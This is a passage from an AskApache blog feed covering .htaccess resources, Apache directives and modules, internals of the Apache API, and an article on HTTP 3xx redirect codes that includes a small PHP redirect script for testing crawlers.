<p><strong>BlogSecurity</strong><br />Mostly a site for... blog security (which is really any web-app security) this blog has a few really impressive articles full of solid information for <a href="http://blogsecurity.net/wordpress/article-210607/">Hardening WordPress with .htaccess</a> among more advanced topics that can be challenging but effective.  This is a good site to subscribe to their feed, they publish plugin exploits and wordpress core vulnerabilities quite a bit.</p>
<p><strong>Check-These</strong><br />Oldschool security/unix dude with some incredibly detailed mod_rewrite tutorials, helped me the most when I first got into this, and a great guy too. See: <a href="http://check-these.info/mod_rewrite-basic.html">Basic Mod_Rewrite Guide</a>, and <a href="http://check-these.info/RewriteRule.html">Advanced Mod_Rewrite Tutorial</a></p>
<p><strong>Reaper-X</strong><br />Alot of .htaccess tutorials and code.  See: <a href="http://www.reaper-x.com/2007/09/01/hardening-wordpress-with-mod-rewrite-and-htaccess/">Hardening WordPress with Mod Rewrite and htaccess</a></p>
<p><strong>jdMorgan</strong><br /><a href="http://www.webmasterworld.com/profilev4.cgi?action=view&amp;member=jdMorgan">jdMorgan</a> is the Moderator of the <a href="http://www.webmasterworld.com/apache/">Apache Forum</a> at WebmasterWorld, a great place for answers.  In my experience he can answer any tough question pertaining to advanced .htaccess usage, haven't seen him stumped yet.</p>
<p><strong>The W3C</strong><br /><a href="http://www.w3.org/International/questions/qa-htaccess-charset">Setting Charset in .htaccess</a> is very informative.<br /></p>
<p><strong>Holy Shmoly!</strong><br />A great blogger with analysis of attacks and spam.  See: More ways to stop spammers and unwanted traffic.</p>
<p><strong>Apache Week</strong><br />A partnership with Red Hat back in the 90's that produced some <a href="http://www.apacheweek.com/features/userauth">excellent documentation</a>.</p>
<p><strong>Corz</strong><br />Here's a resource that I consider to have some of the most creative and ingenious ideas for .htaccess files, although the author is somewhat of a character ;) Its a trip trying to navigate around the site, a fun trip. Its like nothing I've ever seen. There are only a few articles on the site, but the htaccess articles are very original and well-worth a look. See: <a rel="nofollow" href="http://corz.org/serv/tricks/htaccess.php">htaccess tricks and tips</a>.</p>
<hr class="C" />







<h2>Htaccess Directives</h2>
<p class="anote">This is an AskApache.com exclusive <em>you won't find this anywhere else</em>.</p>
<p>Directory, DirectoryMatch, Files, FilesMatch, IfDefine, IfVersion, IfModule, Limit, LimitExcept, Location, LocationMatch, Proxy, ProxyMatch, VirtualHost, AcceptMutex, AcceptPathInfo, AccessFileName, Action, AddCharset, AddDefaultCharset, AddDescription, AddEncoding, AddHandler, AddInputFilter, AddLanguage, AddOutputFilter, AddOutputFilterByType, AddType, Alias, AliasMatch, AllowCONNECT, AllowOverride, Anonymous, Anonymous_Authoritative, Anonymous_LogEmail, Anonymous_MustGiveEmail, Anonymous_NoUserId, Anonymous_VerifyEmail, AuthAuthoritative, AuthDBMAuthoritative, AuthDBMGroupFile, AuthDBMType, AuthDBMUserFile, AuthDigestAlgorithm, AuthDigestDomain, AuthDigestFile, AuthDigestGroupFile, AuthDigestNcCheck, AuthDigestNonceFormat, AuthDigestNonceLifetime, AuthDigestQop, AuthDigestShmemSize, AuthGroupFile, AuthName, AuthType, AuthUserFile, BS2000Account, BrowserMatch, BrowserMatchNoCase, CacheNegotiatedDocs, CharsetDefault, CharsetOptions, CharsetSourceEnc, CheckSpelling, ContentDigest, CookieDomain, CookieExpires, CookieName, CookieStyle, CookieTracking, CoreDumpDirectory, DAV, DAVDepthInfinity, DAVMinTimeout, DefaultIcon, DefaultLanguage, DefaultType, DocumentRoot, ErrorDocument, ErrorLog, ExtFilterDefine, ExtFilterOptions, FancyIndexing, FileETag, ForceLanguagePriority, ForceType, GprofDir, Header, HeaderName, HostnameLookups, IdentityCheck, ImapBase, ImapDefault, ImapMenu, Include, IndexIgnore, LanguagePriority, LimitRequestBody, LimitRequestFields, LimitRequestFieldsize, LimitRequestLine, LimitXMLRequestBody, LockFile, LogLevel, MaxRequestsPerChild, MultiviewsMatch, NameVirtualHost, NoProxy, Options, PassEnv, PidFile, Port, ProxyBlock, ProxyDomain, ProxyErrorOverride, ProxyIOBufferSize, ProxyMaxForwards, ProxyPass, ProxyPassReverse, ProxyPreserveHost, ProxyReceiveBufferSize, ProxyRemote, ProxyRemoteMatch, ProxyRequests, ProxyTimeout, ProxyVia, RLimitCPU, RLimitMEM, RLimitNPROC, ReadmeName, Redirect, RedirectMatch, RedirectPermanent, RedirectTemp, RemoveCharset, RemoveEncoding, RemoveHandler, RemoveInputFilter, RemoveLanguage, RemoveOutputFilter, RemoveType, RequestHeader, Require, RewriteCond, RewriteRule, SSIEndTag, SSIErrorMsg, SSIStartTag, SSITimeFormat, SSIUndefinedEcho, Satisfy, ScoreBoardFile, Script, ScriptAlias, ScriptAliasMatch, ScriptInterpreterSource, ServerAdmin, ServerAlias, ServerName, ServerPath, ServerRoot, ServerSignature, ServerTokens, SetEnv, SetEnvIf, SetEnvIfNoCase, SetHandler, SetInputFilter, SetOutputFilter, Timeout, TypesConfig, UnsetEnv, UseCanonicalName, XBitHack, allow, deny, order, CGIMapExtension, EnableMMAP, ISAPIAppendLogToErrors, ISAPIAppendLogToQuery, ISAPICacheFile, ISAPIFakeAsync, ISAPILogNotSupported, ISAPIReadAheadBuffer, SSLLog, SSLLogLevel, MaxMemFree, ModMimeUsePathInfo, EnableSendfile, ProxyBadHeader, AllowEncodedSlashes, LimitInternalRecursion, EnableExceptionHook, TraceEnable, ProxyFtpDirCharset, AuthBasicAuthoritative, AuthBasicProvider, AuthDefaultAuthoritative, AuthDigestProvider, AuthLDAPAuthzEnabled, AuthLDAPBindDN, AuthLDAPBindPassword, AuthLDAPCharsetConfig, AuthLDAPCompareDNOnServer, AuthLDAPDereferenceAliases, AuthLDAPGroupAttribute, AuthLDAPGroupAttributeIsDN, AuthLDAPRemoteUserIsDN, AuthLDAPURL, AuthzDBMAuthoritative, AuthzDBMType, AuthzDefaultAuthoritative, AuthzGroupFileAuthoritative, AuthzLDAPAuthoritative, AuthzOwnerAuthoritative, AuthzUserAuthoritative, BalancerMember, DAVGenericLockDB, FilterChain, FilterDeclare, FilterProtocol, FilterProvider, FilterTrace, IdentityCheckTimeout, IndexStyleSheet, ProxyPassReverseCookieDomain, ProxyPassReverseCookiePath, ProxySet, ProxyStatus, ThreadStackSize, AcceptFilter, Protocol, AuthDBDUserPWQuery, AuthDBDUserRealmQuery, UseCanonicalPhysicalPort, CheckCaseOnly, AuthLDAPRemoteUserAttribute, ProxyPassMatch, SSIAccessEnable, Substitute, ProxyPassInterpolateEnv</p>
<hr class="C" />







<h2>Htaccess Modules</h2>
<p>Here are most of the modules that come with Apache.  Each one can have new commands that can be used in .htaccess file scopes.</p>
<p><a href="/servers/mod_actions.c.html">mod_actions</a>, <a href="/servers/mod_alias.c.html">mod_alias</a>, <a href="/servers/mod_asis.c.html">mod_asis</a>, <a href="/servers/mod_auth_basic.c.html">mod_auth_basic</a>, <a href="/servers/mod_auth_digest.c.html">mod_auth_digest</a>, <a href="/servers/mod_authn_anon.c.html">mod_authn_anon</a>, <a href="/servers/mod_authn_dbd.c.html">mod_authn_dbd</a>, <a href="/servers/mod_authn_dbm.c.html">mod_authn_dbm</a>, <a href="/servers/mod_authn_default.c.html">mod_authn_default</a>, <a href="/servers/mod_authn_file.c.html">mod_authn_file</a>, <a href="/servers/mod_authz_dbm.c.html">mod_authz_dbm</a>, <a href="/servers/mod_authz_default.c.html">mod_authz_default</a>, <a href="/servers/mod_authz_groupfile.c.html">mod_authz_groupfile</a>, <a href="/servers/mod_authz_host.c.html">mod_authz_host</a>, <a href="/servers/mod_authz_owner.c.html">mod_authz_owner</a>, <a href="/servers/mod_authz_user.c.html">mod_authz_user</a>, <a href="/servers/mod_autoindex.c.html">mod_autoindex</a>, <a href="/servers/mod_cache.c.html">mod_cache</a>, <a href="/servers/mod_cern_meta.c.html">mod_cern_meta</a>, <a href="/servers/mod_cgi.c.html">mod_cgi</a>, <a href="/servers/mod_dav.c.html">mod_dav</a>, <a href="/servers/mod_dav_fs.c.html">mod_dav_fs</a>, <a href="/servers/mod_dbd.c.html">mod_dbd</a>, <a href="/servers/mod_deflate.c.html">mod_deflate</a>, <a href="/servers/mod_dir.c.html">mod_dir</a>, <a href="/servers/mod_disk_cache.c.html">mod_disk_cache</a>, <a href="/servers/mod_dumpio.c.html">mod_dumpio</a>, <a href="/servers/mod_env.c.html">mod_env</a>, <a href="/servers/mod_expires.c.html">mod_expires</a>, <a href="/servers/mod_ext_filter.c.html">mod_ext_filter</a>, <a href="/servers/mod_file_cache.c.html">mod_file_cache</a>, <a href="/servers/mod_filter.c.html">mod_filter</a>, <a href="/servers/mod_headers.c.html">mod_headers</a>, <a href="/servers/mod_ident.c.html">mod_ident</a>, <a href="/servers/mod_imagemap.c.html">mod_imagemap</a>, <a href="/servers/mod_include.c.html">mod_include</a>, <a href="/servers/mod_info.c.html">mod_info</a>, <a href="/servers/mod_log_config.c.html">mod_log_config</a>, <a href="/servers/mod_log_forensic.c.html">mod_log_forensic</a>, <a href="/servers/mod_logio.c.html">mod_logio</a>, <a href="/servers/mod_mem_cache.c.html">mod_mem_cache</a>, <a href="/servers/mod_mime.c.html">mod_mime</a>, <a href="/servers/mod_mime_magic.c.html">mod_mime_magic</a>, <a href="/servers/mod_negotiation.c.html">mod_negotiation</a>, <a href="/servers/mod_proxy.c.html">mod_proxy</a>, <a href="/servers/mod_proxy_ajp.c.html">mod_proxy_ajp</a>, <a href="/servers/mod_proxy_balancer.c.html">mod_proxy_balancer</a>, <a href="/servers/mod_proxy_connect.c.html">mod_proxy_connect</a>, <a href="/servers/mod_proxy_ftp.c.html">mod_proxy_ftp</a>, <a href="/servers/mod_proxy_http.c.html">mod_proxy_http</a>, <a href="/servers/mod_rewrite.c.html">mod_rewrite</a>, <a href="/servers/mod_setenvif.c.html">mod_setenvif</a>, <a href="/servers/mod_speling.c.html">mod_speling</a>, <a href="/servers/mod_ssl.c.html">mod_ssl</a>, <a href="/servers/mod_status.c.html">mod_status</a>, <a href="/servers/mod_substitute.c.html">mod_substitute</a>, <a href="/servers/mod_unique_id.c.html">mod_unique_id</a>, <a href="/servers/mod_userdir.c.html">mod_userdir</a>, <a href="/servers/mod_usertrack.c.html">mod_usertrack</a>, <a href="/servers/mod_version.c.html">mod_version</a>, <a href="/servers/mod_vhost_alias.c.html">mod_vhost_alias</a></p>
<hr class="C" />





<h2>Htaccess Software</h2>
<p>Apache HTTP Server comes with the following <a href="http://httpd.apache.org/docs/trunk/programs/">programs</a>.</p>
<dl><dt><code>httpd</code></dt><dd>Apache hypertext transfer protocol server</dd><dt><code>apachectl</code></dt><dd>Apache HTTP server control interface</dd><dt><code>ab</code></dt><dd>Apache HTTP server benchmarking tool</dd><dt><code>apxs</code></dt><dd>APache eXtenSion tool</dd><dt><code>dbmmanage</code></dt><dd>Create and update user authentication files in DBM format for basic authentication</dd><dt><code>fcgistarter</code></dt><dd>Start a FastCGI program</dd><dt><code>htcacheclean</code></dt><dd>Clean up the disk cache</dd><dt><code>htdigest</code></dt><dd>Create and update user authentication files for digest authentication</dd><dt><code>htdbm</code></dt><dd>Manipulate DBM password databases.</dd><dt><code>htpasswd</code></dt><dd>Create and update user authentication files for basic authentication</dd><dt><code>httxt2dbm</code></dt><dd>Create dbm files for use with RewriteMap</dd><dt><code>logresolve</code></dt><dd>Resolve hostnames for IP-addresses in Apache logfiles</dd><dt>log_server_status</dt><dd>Periodically log the server's status</dd><dt><code>rotatelogs</code></dt><dd>Rotate Apache logs without having to kill the server</dd><dt>split-logfile</dt><dd>Split a multi-vhost logfile into per-host logfiles</dd><dt><code>suexec</code></dt><dd>Switch User For Exec</dd></dl>




















<h2>Technical Look at .htaccess</h2>
<p><a href="http://httpd.apache.org/docs/1.3/misc/API.html">Source: Apache API notes</a></p>
<h3>Per-directory configuration structures</h3>
<p>Let's look out how all of this plays out in mod_mime.c, which defines the file typing handler which emulates the NCSA server's behavior of determining file types from suffixes. What we'll be looking at, here, is the code which implements the AddType and AddEncoding commands. These commands can appear in .htaccess files, so they must be handled in the module's private per-directory data, which in fact, consists of two separate tables for MIME types and encoding information, and is declared as follows:</p>

<pre>
table *forced_types;      /* Additional AddTyped stuff */
table *encoding_types;    /* Added with AddEncoding... */
mime_dir_config;
</pre>

<p>When the server is reading a configuration file, or &lt;Directory&gt; section, which includes one of the MIME module's commands, it needs to create a mime_dir_config structure, so those commands have something to act on. It does this by invoking the function it finds in the module's `create per-dir config slot', with two arguments: the name of the directory to which this configuration information applies (or NULL for srm.conf), and a pointer to a resource pool in which the allocation should happen.</p>

<p>(If we are reading a .htaccess file, that resource pool is the per-request resource pool for the request; otherwise it is a resource pool which is used for configuration data, and cleared on restarts. Either way, it is important for the structure being created to vanish when the pool is cleared, by registering a cleanup on the pool if necessary).</p>

<p>For the MIME module, the per-dir config creation function just ap_pallocs the structure above, and a creates a couple of tables to fill it. That looks like this:</p>

<pre>
void *create_mime_dir_config (pool *p, char *dummy)
mime_dir_config *new = (mime_dir_config *) ap_palloc (p, sizeof(mime_dir_config));
&nbsp;
new-&gt;forced_types = ap_make_table (p, 4);
new-&gt;encoding_types = ap_make_table (p, 4);
</pre>


<p>Now, suppose we've just read in a .htaccess file. We already have the per-directory configuration structure for the next directory up in the hierarchy. If the .htaccess file we just read in didn't have any AddType or AddEncoding commands, its per-directory config structure for the MIME module is still valid, and we can just use it. Otherwise, we need to merge the two structures somehow.</p>

<p>To do that, the server invokes the module's per-directory config merge function, if one is present. That function takes three arguments: the two structures being merged, and a resource pool in which to allocate the result. For the MIME module, all that needs to be done is overlay the tables from the new per-directory config structure with those from the parent:</p>

<pre>
void *merge_mime_dir_configs (pool *p, void *parent_dirv, void *subdirv)
mime_dir_config *parent_dir = (mime_dir_config *)parent_dirv;
mime_dir_config *subdir = (mime_dir_config *)subdirv;
mime_dir_config *new =  (mime_dir_config *)ap_palloc (p, sizeof(mime_dir_config));
new-&gt;forced_types = ap_overlay_tables (p, subdir-&gt;forced_types, parent_dir-&gt;forced_types);
new-&gt;encoding_types = ap_overlay_tables (p, subdir-&gt;encoding_types, parent_dir-&gt;encoding_types);
</pre>


<p>As a note --- if there is no per-directory merge function present, the server will just use the subdirectory's configuration info, and ignore the parent's. For some modules, that works just fine (e.g., for the includes module, whose per-directory configuration information consists solely of the state of the XBITHACK), and for those modules, you can just not declare one, and leave the corresponding structure slot in the module itself NULL.</p>

<h3>Command handling</h3>
<p>Now that we have these structures, we need to be able to figure out how to fill them. That involves processing the actual AddType and AddEncoding commands. To find commands, the server looks in the module's command table. That table contains information on how many arguments the commands take, and in what formats, where it is permitted, and so forth. That information is sufficient to allow the server to invoke most command-handling functions with pre-parsed arguments. Without further ado, let's look at the AddType command handler, which looks like this (the AddEncoding command looks basically the same, and won't be shown here):</p>
<pre>
char *add_type(cmd_parms *cmd, mime_dir_config *m, char *ct, char *ext)
if (*ext == &#039;.&#039;) ++ext;
ap_table_set (m-&gt;forced_types, ext, ct);
</pre>

<p>This command handler is unusually simple. As you can see, it takes four arguments, two of which are pre-parsed arguments, the third being the per-directory configuration structure for the module in question, and the fourth being a pointer to a cmd_parms structure. That structure contains a bunch of arguments which are frequently of use to some, but not all, commands, including a resource pool (from which memory can be allocated, and to which cleanups should be tied), and the (virtual) server being configured, from which the module's per-server configuration data can be obtained if required.</p>

<p>Another way in which this particular command handler is unusually simple is that there are no error conditions which it can encounter. If there were, it could return an error message instead of NULL; this causes an error to be printed out on the server's stderr, followed by a quick exit, if it is in the main config files; for a .htaccess file, the syntax error is logged in the server error log (along with an indication of where it came from), and the request is bounced with a server error response (HTTP error status, code 500).</p>

<p>The MIME module's command table has entries for these commands, which look like this:</p>
<pre>
command_rec mime_cmds[] =
{ "AddType", add_type, NULL, OR_FILEINFO, TAKE2, "a mime type followed by a file extension" },
{ "AddEncoding", add_encoding, NULL, OR_FILEINFO, TAKE2, "an encoding (e.g., gzip), followed by a file extension" },
</pre>


<p>The entries in these tables are:</p>
<ul>
<li>The name of the command</li>
<li>The function which handles it a (void *) pointer, which is passed in the cmd_parms structure to the command handler --- this is useful in case many similar commands are handled by the same function.</li>
<li>A bit mask indicating where the command may appear. There are mask bits corresponding to each AllowOverride option, and an additional mask bit, RSRC_CONF, indicating that the command may appear in the server's own config files, but not in any .htaccess file.</li>
<li>A flag indicating how many arguments the command handler wants pre-parsed, and how they should be passed in. TAKE2 indicates two pre-parsed arguments. Other options are TAKE1, which indicates one pre-parsed argument, FLAG, which indicates that the argument should be On or Off, and is passed in as a boolean flag, RAW_ARGS, which causes the server to give the command the raw, unparsed arguments (everything but the command name itself). There is also ITERATE, which means that the handler looks the same as TAKE1, but that if multiple arguments are present, it should be called multiple times, and finally ITERATE2, which indicates that the command handler looks like a TAKE2, but if more arguments are present, then it should be called multiple times, holding the first argument constant.</li>
<li>Finally, we have a string which describes the arguments that should be present. If the arguments in the actual config file are not as required, this string will be used to help give a more specific error message. (You can safely leave this NULL).</li>
</ul>

<p>Finally, having set this all up, we have to use it. This is ultimately done in the module's handlers, specifically for its file-typing handler, which looks more or less like this; note that the per-directory configuration structure is extracted from the request_rec's per-directory configuration vector by using the ap_get_module_config function.</p>

<h3>Side notes --- per-server configuration, virtual servers, etc.</h3>
<p>The basic ideas behind per-server module configuration are basically the same as those for per-directory configuration; there is a creation function and a merge function, the latter being invoked where a virtual server has partially overridden the base server configuration, and a combined structure must be computed. (As with per-directory configuration, the default if no merge function is specified, and a module is configured in some virtual server, is that the base configuration is simply ignored).</p>

<p>The only substantial difference is that when a command needs to configure the per-server private module data, it needs to go to the cmd_parms data to get at it. Here's an example, from the alias module, which also indicates how a syntax error can be returned (note that the per-directory configuration argument to the command handler is declared as a dummy, since the module doesn't actually have per-directory config data):</p>




<p><a href="/htaccess/htaccess-rewrite.html">Continue Reading Page 2</a></p><p><a href="http://www.askapache.com/htaccess/htaccess.html"></a><a href="http://www.askapache.com/htaccess/htaccess.html">THE Ultimate Htaccess</a> originally appeared on <cite>AskApache.com</cite> </p>]]></content:encoded>
			<wfw:commentRss>http://www.askapache.com/htaccess/htaccess.html/feed</wfw:commentRss>
		<slash:comments>88</slash:comments>
		</item>
		<item>
		<title>Advanced HTTP Redirection</title>
		<link>http://www.askapache.com/seo/advanced-http-redirection.html</link>
		<comments>http://www.askapache.com/seo/advanced-http-redirection.html#comments</comments>
		<pubDate>Wed, 26 Mar 2008 09:02:21 +0000</pubDate>
		<dc:creator>AskApache</dc:creator>
				<category><![CDATA[SEO]]></category>

		<guid isPermaLink="false">http://www.askapache.com/seo/advanced-http-redirection.html</guid>
		<description><![CDATA[<p><a class="IFL" rel="lb" href='http://uploads.askapache.com/2008/03/300-redirections.jpg' title='HTTP Redirection Status Codes, 300'><img src='http://uploads.askapache.com/2008/03/300-redirections.thumbnail.jpg' alt='HTTP Redirection Status Codes, 300' /></a>Learn about the 7 different HTTP response codes specifically reserved for redirection.  301, 302, 303, 304, 305, and 307.</p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.askapache.com/seo/advanced-http-redirection.html"></a><a href="http://www.askapache.com/seo/advanced-http-redirection.html"><cite>AskApache.com</cite></a></p><p><a class="IFL" rel="lb" href='http://uploads.askapache.com/2008/03/300-redirect2.jpg' title='Redirecting users with http status codes'><img src='http://uploads.askapache.com/2008/03/300-redirect2.thumbnail.jpg' alt='Redirecting users with http status codes' title="300 redirect2.thumbnail seo" /></a>You are probably familiar with a <strong>301 Permanent Redirect</strong> and a <strong>302 Temporary Redirect</strong>, but what about the 5 other <a href="http://www.askapache.com/htaccess/apache-status-code-headers-errordocument.html">HTTP response codes</a> used for redirection?  Its good information to know, in fact you may learn that a 302 is not a Temporary Redirect, that is a 307.  A 302 really means Found.<br class="C" /></p>

<p>One use for these various codes is handling spambots, robots, and other unsavory creatures lurking on the net.  For instance, I've been experimenting by creating a file that spambots hit frequently that sends one of these 7 status codes with the "Location" for the redirect to a separate page that logs the visit.  This separate page is on a different domain.</p>

<p class="anote">You can see the full list with examples here:  <a href="http://www.askapache.com/htaccess/apache-status-code-headers-errordocument.html">All 57 HTTP Status Codes and ErrorDocuments</a><br /><br /><strong>Looking for</strong>: <a href="http://www.askapache.com/htaccess/list-of-methods-to-redirect-users-to-different-page.html">Redirection Cheatsheet</a></p>

<h2>Robots.txt Redirection Experiment</h2>
<p>Another kind of cool experiment is I made the robots.txt file send one of these redirects like above, and then I would goto sites like the internet archive and search for my domain.  The bot for the search engine would request the robots.txt file from my site and then I would be able to see if the search engine bots default behaviour would follow a redirect for a robots.txt - I found out that yes most of them will do whatever I tell them to do.  There is very little protection for this part of the web, and it would be easy to take advantage of, which I highly discourage you from doing.  I found a lot of quirky behaviour that I don't think I should publicize.. here is a basic php script you can hack around with to test it on your own.</p>

<pre>&lt;?php
$p=&#039;http://www.askapache.com/you-ve/been-redirected-by-me/&#039;;
ob_start();
header("Status: 307 Temporary Redirect");
header("Referer: $p");
header("Location: $p",1,307);
header("Refresh: 0; URL=$p",1);
header(&#039;Accept-Encoding: gzip,deflate&#039;,1);
header(&#039;Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&#039;,1);
header(&#039;Keep-Alive: 300&#039;,1);
header(&#039;Connection: keep-alive&#039;,1);
echo &#039;&lt;!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"&gt;
&lt;html&gt;&lt;head&gt;
&lt;title&gt;307 Temporary Redirect&lt;/title&gt;
&lt;meta http-equiv="refresh" content="0;url=&#039;.$p.&#039;" /&gt;
&lt;/head&gt;&lt;body&gt;
&lt;h1&gt;Temporary Redirect&lt;/h1&gt;
&lt;p&gt;The document has moved here.&lt;/p&gt;
&lt;/body&gt;&lt;/html&gt;&#039;;
$g=ob_get_clean();
echo $g;
exit;
exit();
?&gt;</pre>



<h2>HTTP Redirection Status Codes - 3xx</h2>
<p>This class of status code indicates that further action needs to be taken by the user agent in order to fulfill the request.  The action required MAY be carried out by the user agent without interaction with the user if and only if the method used in the second request is <a href="http://www.askapache.com/htaccess/27-request-methods-for-use-with-apache-and-rewritecond-and-htaccess.html">GET</a> or <a href="http://www.askapache.com/htaccess/27-request-methods-for-use-with-apache-and-rewritecond-and-htaccess.html">HEAD</a>. A client SHOULD detect infinite redirection loops, since such loops generate network traffic for each redirection.<br class="C" /></p>
<p><strong>Note:</strong> previous versions of this specification recommended a maximum of five redirections. Content developers should be aware that there might be clients that implement such a fixed limitation.</p>

<p><code>HTTP_REDIRECT</code> - <strong>The client must take additional action to complete the request</strong>.  Indicates that further action needs to be taken by the user-agent in order to fulfill the request. The action required may be carried out by the user agent without interaction with the user if and only if the method used in the second request is GET or HEAD. A user agent should not automatically <em>redirect a request more than 5 times</em>, since such redirections usually indicate an <strong>infinite loop</strong>.</p>
<ul>
<li><a href="#300-redirect" title="300 Multiple Choices">300</a> <a title="ErrorDocument 300" href="http://www.askapache.com/e/300/">Multiple Choices</a> - <code>HTTP_MULTIPLE_CHOICES</code></li>
<li><a href="#301-redirect" title="301 Moved Permanently">301</a> <a title="ErrorDocument 301" href="http://www.askapache.com/e/301/">Moved Permanently</a> - <code>HTTP_MOVED_PERMANENTLY</code></li>
<li><a href="#302-redirect" title="302 Found">302</a> <a title="ErrorDocument 302" href="http://www.askapache.com/e/302/">Found</a> - <code>HTTP_MOVED_TEMPORARILY</code></li>
<li><a href="#303-redirect" title="303 See Other">303</a> <a title="ErrorDocument 303" href="http://www.askapache.com/e/303/">See Other</a> - <code>HTTP_SEE_OTHER</code></li>
<li><a href="#304-redirect" title="304 Not Modified">304</a> <a title="ErrorDocument 304" href="http://www.askapache.com/e/304/">Not Modified</a> - <code>HTTP_NOT_MODIFIED</code></li>
<li><a href="#305-redirect" title="305 Use Proxy">305</a> <a title="ErrorDocument 305" href="http://www.askapache.com/e/305/">Use Proxy</a> - <code>HTTP_USE_PROXY</code></li>
<li><a href="#307-redirect" title="307 Temporary Redirect">307</a> <a title="ErrorDocument 307" href="http://www.askapache.com/e/307/">Temporary Redirect</a> - <code>HTTP_TEMPORARY_REDIRECT</code>
</ul>


<h2><a name="300-redirect" id="300-redirect" title="300 Multiple Choices"></a>300 Multiple Choices</h2>
<p>The requested resource corresponds to any one of a set of representations, each with its own specific location, and agent- driven negotiation information (section 12) is being provided so that the user (or user agent) can select a preferred representation and redirect its request to that location.</p>
<p>Unless it was a HEAD request, the response SHOULD include an entity containing a list of resource characteristics and location(s) from which the user or user agent can choose the one most appropriate. The entity format is specified by the media type given in the Content- Type header field. Depending upon the format and the capabilities of the user agent, selection of the most appropriate choice MAY be performed automatically. However, this specification does not define any standard for such automatic selection.</p>
<p>If the server has a preferred choice of representation, it SHOULD include the specific URI for that representation in the Location field; user agents MAY use the Location field value for automatic redirection. This response is cacheable unless indicated otherwise.</p>





<h2><a name="301-redirect" id="301-redirect" title="301 Moved Permanently"></a>301 Moved Permanently</h2>
<p>The requested resource has been assigned a new permanent URI and any future references to this resource SHOULD use one of the returned URIs.  Clients with link editing capabilities ought to automatically re-link references to the Request-URI to one or more of the new references returned by the server, where possible. This response is cacheable unless indicated otherwise.</p>
<p>The new permanent URI SHOULD be given by the Location field in the response. Unless the request method was HEAD, the entity of the response SHOULD contain a short hypertext note with a hyperlink to the new URI(s).</p>
<p>If the 301 status code is received in response to a request other than GET or HEAD, the user agent MUST NOT automatically redirect the request unless it can be confirmed by the user, since this might change the conditions under which the request was issued.</p>
<p><strong>Note:</strong> When automatically redirecting a POST request after receiving a 301 status code, some existing HTTP/1.0 user agents will erroneously change it into a GET request.</p>





<h2><a name="302-redirect" id="302-redirect" title="302 Found"></a>302 Found</h2>
<p>The requested resource resides temporarily under a different URI. Since the redirection might be altered on occasion, the client SHOULD continue to use the Request-URI for future requests.  This response is only cacheable if indicated by a Cache-Control or Expires header field.</p>
<p>The temporary URI SHOULD be given by the Location field in the response. Unless the request method was HEAD, the entity of the response SHOULD contain a short hypertext note with a hyperlink to the new URI(s).</p>
<p>If the 302 status code is received in response to a request other than GET or HEAD, the user agent MUST NOT automatically redirect the request unless it can be confirmed by the user, since this might change the conditions under which the request was issued.</p>
<p><strong>Note:</strong> RFC 1945 and RFC 2068 specify that the client is not allowed to change the method on the redirected request.  However, most existing user agent implementations treat 302 as if it were a 303 response, performing a GET on the Location field-value regardless of the original request method. The status codes 303 and 307 have been added for servers that wish to make unambiguously clear which kind of reaction is expected of the client.</p>





<h2><a name="303-redirect" id="303-redirect" title="303 See Other"></a>303 See Other</h2>
<p><a class="IFL" rel="lb" href='http://uploads.askapache.com/2008/03/300-redirections.jpg' title='HTTP Redirection Status Codes, 300'><img src='http://uploads.askapache.com/2008/03/300-redirections.thumbnail.jpg' alt='HTTP Redirection Status Codes, 300' title="300 redirections.thumbnail seo" /></a>The response to the request can be found under a different URI and SHOULD be retrieved using a GET method on that resource. This method exists primarily to allow the output of a POST-activated script to redirect the user agent to a selected resource. The new URI is not a substitute reference for the originally requested resource. The 303 response MUST NOT be cached, but the response to the second (redirected) request might be cacheable.<br class="C" /></p>
<p>The different URI SHOULD be given by the Location field in the response. Unless the request method was HEAD, the entity of the response SHOULD contain a short hypertext note with a hyperlink to the new URI(s).</p>
<p><strong>Note:</strong> Many pre-HTTP/1.1 user agents do not understand the 303 status. When interoperability with such clients is a concern, the 302 status code may be used instead, since most user agents react to a 302 response as described here for 303.</p>





<h2><a name="304-redirect" id="304-redirect" title="304 Not Modified"></a>304 Not Modified</h2>
<p>If the client has performed a conditional GET request and access is allowed, but the document has not been modified, the server SHOULD respond with this status code. The 304 response MUST NOT contain a message-body, and thus is always terminated by the first empty line after the header fields.</p>
<p><strong>The response MUST include the following header fields:</strong></p>
<ul>
    <li>Date, unless its omission is required by section 14.18.1</li>
</ul>
<p><strong>If a clockless origin server obeys these rules, and proxies and clients add their own Date to any response received without one (as already specified by [RFC 2068], section 14.19), caches will operate correctly.</strong></p>
<ul>
    <li>ETag and/or Content-Location, if the header would have been sent in a 200 response to the same request</li>
    <li>Expires, Cache-Control, and/or Vary, if the field-value might differ from that sent in any previous response for the same variant</li>
</ul>
<p>If the conditional GET used a strong cache validator (see section 13.3.3), the response SHOULD NOT include other entity-headers. Otherwise (i.e., the conditional GET used a weak validator), the response MUST NOT include other entity-headers; this prevents inconsistencies between cached entity-bodies and updated headers.</p>
<p>If a 304 response indicates an entity not currently cached, then the cache MUST disregard the response and repeat the request without the conditional.</p>
<p>If a cache uses a received 304 response to update a cache entry, the cache MUST update the entry to reflect any new field values given in the response.</p>





<h2><a name="305-redirect" id="305-redirect" title="305 Use Proxy"></a>305 Use Proxy</h2>
<p>The requested resource MUST be accessed through the proxy given by the Location field. The Location field gives the URI of the proxy. The recipient is expected to repeat this single request via the proxy. 305 responses MUST only be generated by origin servers.</p>
<p><strong>Note:</strong> RFC 2068 was not clear that 305 was intended to redirect a single request, and to be generated by origin servers only.  Not observing these limitations has significant security consequences.</p>





<h2><a name="307-redirect" id="307-redirect" title="307 Temporary Redirect"></a>307 Temporary Redirect</h2>
<p>The requested resource resides temporarily under a different URI. Since the redirection MAY be altered on occasion, the client SHOULD continue to use the Request-URI for future requests.  This response is only cacheable if indicated by a Cache-Control or Expires header field.</p>
<p>The temporary URI SHOULD be given by the Location field in the response. Unless the request method was HEAD, the entity of the response SHOULD contain a short hypertext note with a hyperlink to the new URI(s) , since many pre-HTTP/1.1 user agents do not understand the 307 status. Therefore, the note SHOULD contain the information necessary for a user to repeat the original request on the new URI.</p>
<p>If the 307 status code is received in response to a request other than GET or HEAD, the user agent MUST NOT automatically redirect the request unless it can be confirmed by the user, since this might change the conditions under which the request was issued.</p><p><a href="http://www.askapache.com/seo/advanced-http-redirection.html"></a><a href="http://www.askapache.com/seo/advanced-http-redirection.html">Advanced HTTP Redirection</a> originally appeared on <cite>AskApache.com</cite> </p>]]></content:encoded>
